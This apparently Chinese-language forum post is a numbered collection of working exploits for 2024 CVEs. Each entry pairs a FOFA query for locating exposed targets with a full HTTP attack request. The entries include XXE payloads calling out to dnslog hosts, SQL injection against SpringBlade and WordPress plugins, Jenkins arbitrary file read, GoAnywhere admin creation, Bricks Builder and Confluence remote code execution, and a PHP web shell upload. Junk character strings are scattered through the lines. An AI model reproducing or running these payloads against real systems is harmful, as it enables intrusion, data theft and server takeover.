8 w6 V9 T% Q, T<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

$ C/ q1 }- w- A) g% h" d# C/ c103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
# p8 F) u% ?/ l+ d- rPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
. N! x& ]& v& s4 |Host: 192.168.40.130:111
* `2 e. x2 v( u6 sUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
. O5 g& I) c7 L8 w' EConnection: close
% a5 K% G& z5 A. j* M& f8 k7 o, |Content-Length: 204
. E, H4 g: j) b( s( u- IContent-Type: application/x-www-form-urlencoded
6 |4 g! y: T  A5 uAccept-Encoding: gzip
( a8 p9 O( q$ _4 S
5 C. W; Q; G  k; L3 M, QSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

" y3 _4 b9 Y, {# s
" M! f; X' n0 [& \3 b) y/ }. N, g; N其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
, B7 m5 R, r) \: k. s- \0 nFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
: ^5 }5 p% Y0 E- q! R* YUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
" {/ v3 k8 A9 r+ z7 ZContent-Type: application/x-www-form-urlencoded:charset=UTF-8
  {; @0 p& n* n* p; c) j3 G( iOrigin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
8 \+ e6 _" o- c; c7 c6 NAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
7 u5 W: |; ~+ T: b9 rConnection:close
8 H8 h  N, K$ t( h) _
{
0 e5 @* m8 V4 d5 k2 Z"topicurl":"getSysStatusCfg",
2 j$ L. m8 e, s- F- E"token":""
}
( _' ?  g: W0 T: ^; G% B
) B) b/ S  H8 r4 a& D# o* L# E105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
  Y1 Q1 v8 r6 ~# j( v- Yhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

; B* F; K" z9 \) u106. SpringBlade dict-biz/list SQL 注入
, K0 |8 N! d: hFOFA：body="Saber 将不能正常工作"
1 x2 q2 c. N0 ^5 n3 m& u% O4 yGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
8 y+ l* l: o+ a& c; r% ~# k' y% qHost: your-ip
( ~/ A7 k7 ~# J5 n) UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* _5 M0 V+ j1 ?" y9 m! y- |Connection: close
2 V6 b- z5 u0 s+ n2 V& E3 m0 {# d4 Y8 B  V

107. SpringBlade tenant/list SQL 注入
  f$ l' D3 i) M. R1 ?& E# Z2 }FOFA：body="https://bladex.vip"
7 G' [% {3 R  `* V- PGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
, P3 v! u( i4 u' Z  @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
+ `$ R, J9 S" `& c( i3 p+ sConnection: close
, b; w8 `% g2 r9 g

) l2 m+ S. E7 r$ I! L108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
/ d- c1 }) h3 _4 [% DGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
) T+ ^0 J- Y! _& E! X8 |3 kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

7 B; y7 k, w8 ^- D9 p$ E
109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
5 T0 X# b- ]( g4 V" X" l* ^) c5 X: _1 JHost:
) h- {+ s1 @* P, u1 d7 A/ }Content-type: application/octet-stream
5 V9 S8 j2 B; USession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
4 _: b; n* e9 O, G" uContent-Length: 163
$ \, }! P; y$ V8 H
9 P5 I  W. ]8 J7 }+ G; ub'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
$ S* O7 i3 K) W, L( Z0 {9 \
2 {( q2 V# ~, A& I4 d3 j7 A
5 z( M& `4 K  M' s& \( gPOST /cli?remoting=false HTTP/1.1
" y# J" }$ ^" t- \Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
4 @( C9 v( r7 e4 L% B0 W. m2 x+ rdownload
2 o& |0 O+ Y6 {# ^4 SContent-Type: application/x-www-form-urlencoded
Content-Length: 0

/ O' C* k2 v# y$ `; |2 `* n
0 B6 v/ o& ]" T4 x- P. ?' S) {ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
6 i9 n' y8 u' H5 Yjava -jar jenkins-cli.jar help
  L# L. A4 D' r  Q! K- a9 f[COMMAND]
, C( A8 F5 O" {9 e( sLists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
1 I9 d0 E: l! d7 f

110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
) f( R( K  a$ s+ I$ DUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
; u/ S% \& N* W0 w5 mAccept: */*
5 U# u6 V# e6 m" y" `/ z, y: `Accept-Language: en
7 ]3 U; i  \* W4 IAccept-Encoding: gzip


111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
6 C0 C. E( I0 x7 D4 J/ zConnection: close
; i: T6 E1 w0 V, h7 w1 MAccept: */*
* n4 o7 w% f* T0 TAccept-Language: en
Accept-Encoding: gzip


112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
4 f. m' S% B. D8 bPOST /wp-json/notificationx/v1/analytics HTTP/1.1
3 {3 F- J3 k$ |* oHost: {{Hostname}}
Content-Type: application/json
/ {, B: B5 W. c: b7 q0 B2 H, [0 I
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


& o+ W3 D' \, ^! x113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
3 h9 t- O# Z6 z! s  w/ h7 mGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
( J* ^( N! B3 {' R2 s$ `0 ?Host: x.x.x.x
- ?" }' y. n, _+ YUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
4 g) p) ?" Z$ s5 [8 n! RAccept: */*
Accept-Language: en
% R+ y/ n& S. u8 X4 s) {: cAccept-Encoding: gzip
/ u# S+ I& C4 X# @7 k- ^) h" C
  U7 F( J2 P7 ?# _5 Y' ?9 c) |% f) z
. u3 R$ r$ e4 Y' n1 f7 d- D8 n114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
7 \! r" u) z1 I  h$ }/ _GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
- x5 y$ t8 k$ [( M1 D/ L+ UAccept-Charset: utf-8
6 l! Y% i2 M( K  zAccept-Encoding: gzip, deflate
Connection: close

9 ?; S3 q, b4 V7 q, ~
7 D7 O* z/ W- F- j3 B+ n' g115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
; @4 z# b2 Q& L% Z8 ~2 }# FUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip

, k5 c2 o5 o4 P) s; u) k' m3 Z
第二步替换nonce值，执行命令
' Q  t6 X& N4 X( Y2 e' n3 J6 \3 \0 iPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
4 Q) k# g, f0 k1 J/ l7 MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
) J$ p* m/ m- @! OConnection: close
; s8 t; D) N# p, M: EContent-Length: 356
# [3 c0 ~- I( Z3 ?9 ZContent-Type: application/json
Accept-Encoding: gzip

4 y1 E' b" w+ l6 \! M- C{
5 I8 b, t( ~' S. u/ w; p"postId": "1",
  "nonce": "第一步获得的值",
- Z* F2 C! u9 U. X% T2 U2 p6 M* r  "element": {
    "name": "container",
    "settings": {
      "hasLoop": "true",
0 O# m8 I- `+ \      "query": {
* `, a3 ?- j! ~" J        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
$ |$ R' D" ]' h        "objectType": "post"
      }
    }
  }
! l) m' S. {; p( A# \}
0 E2 r; z; w; W9 |, H
+ o1 J* V. _* l. b+ i* I1 s
116. wordpress js-support-ticket文件上传
0 D/ L5 J: ?; A# RFOFA：body="wp-content/plugins/js-support-ticket"
; g$ d$ p1 K4 k! ^0 ]% [8 XPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

% m0 o" l0 c# g1 U1 I3 q----------767099171
Content-Disposition: form-data; name="action"
1 M9 Z0 o% {$ V+ e/ bconfiguration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
* ^! F  J- y+ [Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
& [: q# H2 m* M. M. fContent-Type: image/png
: ^/ s1 m7 j7 {  f7 J6 P1 T/ f----------767099171--
! z. Q( g- c: r9 g/ A" w' s1 y7 E
* n# r8 }. j, ^' j6 Q3 |5 H
( I; f* d! n+ H, W. A5 [( R9 t' z117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
( {4 |% H$ @1 r0 h$ `! p! AGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
7 ?2 A3 T, S1 v$ e1 s! }0 S9 IHost: your-ip
' g% O. L# U$ n  E$ o! L. zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
6 o7 j! N7 {. D2 Z& IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) y' r! \+ O  S; b5 `Accept-Encoding: gzip, deflate, br
4 |; b8 q* C" g6 f3 iConnection: close
4 ^6 c* r% q, Z' NUpgrade-Insecure-Requests: 1
5 v/ @# b4 H; |7 s4 X8 D

4 n" h" _7 H" K2 h118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
1 v0 P! {% ]6 G% dPOST /Tool/uploadfile.php? HTTP/1.1
: P: t; ~' R, B1 o& m7 n! CHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' [: [( [! s0 h' ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
$ s7 B0 s+ w0 w, X8 s& OContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
( j/ O  B6 [) ^" V+ |; POrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
! s+ h9 m, c4 P# a5 }+ P& EUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
7 d4 X1 n5 c1 H: }- e# tConnection: close

. k( @6 ]5 s* m. i' h5 y, Y-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
9 I9 r/ l7 `1 VContent-Type: application/octet-stream

<?php
, @! s) K3 D1 m/ T  Y5 ]% c: Dsystem($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
: C- L- X( m! `9 {* n1 k3 U+ H! I
/home/src.php
-----------------------------13979701222747646634037182887--
# w: O% W8 ]( U
/ Y2 k) J" b: H" n) S% c" O' [
/ K! C9 o' U7 V& g' ~: q访问/home/src.php
/ W" E2 G8 q0 x1 B1 ^3 B
119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
* n" u  U8 C) ]0 B/ r8 B: c先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
- X, V/ b, k5 T1 [( A& HHost: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
' ?: ~: B; d3 X8 i. E/ E$ GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
2 c. z- P$ N5 h2 C" ]: i# {1 B. |8 DContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
5 [( E2 ~% K" i% V1 c: `Sec-Fetch-Site: same-origin
/ f! U& ~4 j+ P$ ]1 JX-Forwarded-For: 1.1.1.1
1 E* o" s! K1 X1 A7 r7 e( MX-Originating-Ip: 1.1.1.1
& I( {1 {9 k- L& q) nX-Remote-Ip: 1.1.1.1
2 T4 H! Q. ?4 E5 T& j  h" A* X6 ^# IX-Remote-Addr: 1.1.1.1
" c6 W8 N, u  g) RTe: trailers
- R( H- K) e$ {; l9 p/ [Connection: close
+ H$ |, L( Y+ J( V3 A2 _
  [: e" O7 \7 n3 k; H; T" Asrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

1 a2 n" G* w1 d2 l  q
8 V" f8 Y' z/ Q8 q9 N+ p. y120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
' A; ?2 F. M) Q7 ~3 _" O& \8 e$ X6 j0 eFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
" J) q: M) {/ r. i9 s& z5 d  T& lCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
7 H& ]* |+ s7 y, LContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
+ N+ J5 C$ \' ]% bReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
. y; m: Z% f8 m4 \( `  q. ~Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
# |5 g$ S# J3 ?) h
* }3 o+ q3 j% E. M/ m-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

<?php phpinfo()?>
& f. k. C$ f. x, [7 o7 T8 K; Y* Z-----------------------------42328904123665875270630079328
: V3 c8 p9 [5 D& Z: ~0 i$ {Content-Disposition: form-data; name="id_type"

1
+ U! L% l% L9 I" `-----------------------------42328904123665875270630079328
  e) ^. I5 M; b: J5 E/ SContent-Disposition: form-data; name="1_ck"

% F4 I! s- G9 p" E9 @, T1_radhttp
: H3 l/ w& A7 `' |-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
4 Y! I0 Q" `4 O; a, O+ j) h
3 s9 s9 A) ?* q; i& ~$ Simport
5 o2 @5 A( t! h( S-----------------------------42328904123665875270630079328

" H8 d. o* T  u0 P* ~
) ^' ~4 J. Q7 ]; U文件路径/upload/2.php
  r  H! \% n5 ]5 G& p( f& ]
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
! M- O. O( }' WHost: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
, f: a. b" s& NUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
/ Y' e- W1 l) _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 S) e' }5 U1 \. C( CAccept-Encoding: gzip, deflate
# g/ j# S/ Y" d9 v: w8 iContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
. }$ f# c& A! G! |; `0 }% zOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
2 e$ |' D) K- a( e" C) A$ qSec-Fetch-Mode: navigate
' Y0 }4 p. K/ L1 V2 l3 Y) FSec-Fetch-Site: same-origin
8 ^, n% Q% w, _9 fSec-Fetch-User: ?1
; I  B" Q8 y' f% k/ ?; yTe: trailers
: t8 N: l; z2 wConnection: close
6 V7 S; M, M0 I9 m, d
: P$ D; U( |2 i' x% Y+ N-----------------------------42328904123665875270630079328
  ~5 x/ h& C& W* A# xContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
% D  P8 w% r/ k8 m" a4 r# x8 E
<?php phpinfo();?>
-----------------------------42328904123665875270630079328
' G% _8 z* C: ]Content-Disposition: form-data; name="id_type"

1
+ i, ]  [: z' u-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
- t: g0 B5 C4 z+ m2 e
1_radhttp
6 F- z3 Y9 W$ i+ `-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

( ?$ T* ]" V$ i- q- dset
-----------------------------42328904123665875270630079328
" R9 x3 }" K6 v0 a: A
4 L: k# K0 V3 p, \$ K( W! a5 F$ X* D
# z0 ^4 P. Z' iboot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
- g& {; w0 g  z9 S" O其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
. o, c7 }1 A: JGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
2 z$ {1 o! s. K0 Y: V# \" tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
: S; R4 d- ~- Q2 _% }Upgrade-Insecure-Requests: 1
# F% E% Y5 L3 D# r. I/ @Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
: p% u; @& s0 S$ v, L" FTe: trailers
Connection: close


123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
7 l9 }+ G1 d8 l' f7 N: [% _7 DHost: localhost:8090
Accept-Encoding: gzip, deflate, br
/ y; Q, G" g( U% I' L4 o" |* @4 UAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
$ [* I& y2 l3 G: G" @4 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded

5 i  O/ V2 X+ [( @label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
, ?0 e, D, ^4 ^
$ v% R' c) p' y/ B9 a1 p
' m2 _5 L) {: p( Y, x124. 湖南建研工程质量检测系统任意文件上传
5 O- b: b( R" v7 p0 v+ dFOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
$ i+ t; a/ ?1 }! L# e2 \Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
! r7 W* B5 f1 _: G9 }Accept-Encoding: gzip, deflate, br
9 G  }/ _" o) A9 z. U- YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) @: o1 {5 u# ], kConnection: close
" Q  u/ u- x3 W" ^+ y) kContent-Type: application/x-www-form-urlencoded

6 b3 ^! Z5 o! L$ V/ t; q) a- b4 m- n: j2 pfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
/ m$ ^1 i5 h$ H2 }3 A
# ?4 h1 M4 t7 p; s  O$ y% U+ k
; W' @: I2 A+ h* r4 [& X1 Ihttp://192.168.40.130:8282/Scripts/abcgcg.aspx
* W) `) r1 d( Y( t8 r9 i4 ]3 v3 K
! c: W' i, G2 T* q- n6 {8 x125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
4 O3 d; e, I/ f' EFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
* ]0 F5 }; N: j# [1 }
  d4 i$ q) o, P4 b
使用方法
6 S% m6 M$ X" [9 w8 E/ |) ppython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
) E- X# a8 S$ b
& C+ D- L  o/ q) z3 w) {
创建好用户后直接登录后台，可以执行系统命令。
' j% G( ?9 m7 H0 }4 Q: @
9 W) d$ l) N! n7 [. e126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
% G; x, M* I& M3 y2 cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


127. 广联达Linkworks DataExchange.ashx XXE
1 c) w) c: L1 D7 XFOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
+ }  d$ k1 _  K3 L0 ]Content-Length: 415
6 n1 z4 z# }& @5 }7 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% ~+ i) [: ^. {" u. E# v! u0 u: PAccept-Encoding: gzip, deflate
4 I: m' ]* L  n" m- G* @& h; [% AAccept-Language: zh-CN,zh;q=0.9
Connection: close
2 [- E3 j) s. E+ v' v  ZContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
; z( J8 I; J6 s* n6 PPurpose: prefetch
Sec-Purpose: prefetch;prerender

+ P2 H4 U: L, d) v' [2 h------WebKitFormBoundaryJGgV5l5ta05yAIe0
6 ^4 P& w/ P. nContent-Disposition: form-data;name="SystemName"
2 m+ g+ u3 F2 l& y% H+ b  u" I
  |- M/ B7 C9 Q3 f- `3 @& E6 eBIM
